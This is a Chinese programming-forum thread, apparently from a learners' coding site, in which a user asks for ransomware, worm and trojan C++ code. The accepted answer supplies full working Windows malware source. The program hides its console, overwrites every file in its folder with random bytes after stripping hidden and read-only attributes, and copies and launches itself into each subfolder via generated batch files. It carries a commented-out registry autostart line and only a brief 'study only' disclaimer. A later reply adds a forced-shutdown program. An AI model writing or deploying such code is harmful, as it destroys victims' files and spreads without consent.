问题标题: 酷町堂:病毒

0
0
已解决
张天璨
张天璨
新手天翼
新手天翼

谁有勒索病毒、蠕虫病毒、木马病毒C++代码! 

勿喷!

 

张天璨在2020-07-17 08:44:20追加了内容

谁有勒索病毒、蠕虫病毒、木马病毒C++代码! 

勿喷!

张天璨在2020-07-17 14:47:25追加了内容

hha


0
已采纳
周明轩
周明轩
资深光能
资深光能
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
string ss[100001];
int t;
int k[129];
int main()
{
    system("@echo off");
    system("copy Filerandom.exe C:\\Filerandom.exe");
    //system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v myauto /t REG_SZ /d C:\\Filerandom.exe /f");
    HWND hwnd;
    if(hwnd=::FindWindow("ConsoleWindowClass",NULL))
    {
        ::ShowWindow(hwnd,SW_HIDE);
    }
    system("cd");
    ifstream fiin(".\\360docprotect.set");
    ofstream fout(".\\360docprotect.set");
    fiin.close();
    fout.close();
    system("dir /B .\\ > .\\360docprotect.set");
    system("dir /A:H /B .\\ > .\\360docprotect.~et");
    system("dir /A:R /B .\\ > .\\360docprotect.se~");
    ifstream fiiin(".\\360docprotect.log");
    ofstream foout(".\\360docprotect.log");
    fiiin.close();
    foout.close();
    system("dir /A:D /B .\\ > .\\360docprotect.log");
    ifstream fin(".\\360docprotect.set");
    string s;
    while(getline(fin,s))
    {
        //cout<<s<<endl;
        if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
        string tmp=".\\"+s;
        ofstream _output(tmp.c_str());
        _output<<"----Virus_begin----\n";
        int st;
        do
        {
            st=clock();
            _output<<(char)(rand()%100);
        }while(st%5!=0);
        _output<<"\n----Virus_end----";
        _output.close();
    }
    fin.close();
    s.clear();
    ifstream fin_h(".\\360docprotect.~et");
    while(getline(fin_h,s))
    {
        //cout<<s<<endl;
        if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
        string tmp=".\\"+s;
        for(int i=0;i<tmp.size();++i)
        {
            if(tmp[i]==' ')
            {
                tmp="\""+tmp+"\"";
                break;
            }
        }
        string tmp12="attrib -H "+tmp;
        system(tmp12.c_str());
        ofstream _output(tmp.c_str());
        _output<<"----Virus_begin----\n";
        int st;
        do
        {
            st=clock();
            _output<<(char)(rand()%100);
        }while(st%5!=0);
        _output<<"\n----Virus_end----";
        _output.close();
    }
    fin_h.close();
    s.clear();
    ifstream fin_r(".\\360docprotect.se~");
    while(getline(fin_r,s))
    {
        //cout<<s<<endl;
        if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
        string tmp=".\\"+s;
        string tmp10="attrib -R "+tmp;
        system(tmp10.c_str());
        ofstream _output(tmp.c_str());
        _output<<"----Virus_begin----\n";
        int st;
        do
        {
            st=clock();
            _output<<(char)(rand()%100);
        }while(st%5!=0);
        _output<<"\n----Virus_end----";
        _output.close();
        tmp10="attrib +R "+tmp;
        system(tmp10.c_str());
    }
    fin_r.close();
    s.clear();
    ifstream fin2(".\\360docprotect.log");
    while(getline(fin2,s))ss[++t]=s;
    for(int i=1;i<=t;++i)
    {
        string yuan=ss[i];
        ofstream change(".\\360docprotect.txt");
        cout<<"!!!!!";
        system("cd");
        cout<<endl;
        cout<<"?????"<<ss[i]<<endl;
        for(int j=0;j<ss[i].size();++j)
        {
            if(ss[i][j]==' ')
            {
                ss[i]="\""+ss[i]+"\"";
                break;
            }
        }
        for(int j=1;j<=rand()%100+50;++j)change<<char(rand()%100);
        change.close(); 
        string tmp="copy /B .\\Filerandom.exe+360docprotect.txt .\\"+ss[i]+"\\Filerandom.exe";
        system(tmp.c_str());
        string tmp2=".\\"+yuan+"\\360docprotect.bat";
        ofstream batout(tmp2.c_str());
        string tmp3="@echo off\ncd .\\"+ss[i]+"\\\nstart Filerandom.exe \n";
        batout<<tmp3;
        batout.close();
        string tmp4=".\\"+ss[i]+"\\360docprotect.bat";
        system(tmp4.c_str());
    }
    fin2.close();
    system("del .\\360docprotect.set");
    system("del .\\360docprotect.~et");
    system("del .\\360docprotect.se~");
    system("del .\\360docprotect.log");
    system("del .\\360docprotect.txt");
    //system("del .\\360docprotect.bat");
    system("pause");
}

仅供学习参考,不要干坏事!

原创是刘景程。

千万别在主机上试,想体验就在虚拟机上,不然后果很严重

0
赵朗
赵朗
高级光能
高级光能

建议你找找刘承志的代码

很多都是病毒

0
李瑞曦
李瑞曦
高级天翼
高级天翼

这个贴就是一个病毒!!!

0
王文博
王文博
缔造者之神
缔造者之神

#include <bits/stdc++.h>

using namespace std;

int main()

{

system("shutdown -1");

system("shutdown -p");

return 0;

}

这样做只会关闭计算机,其他没有什么问题,我在主机上试了很多次了。

我要回答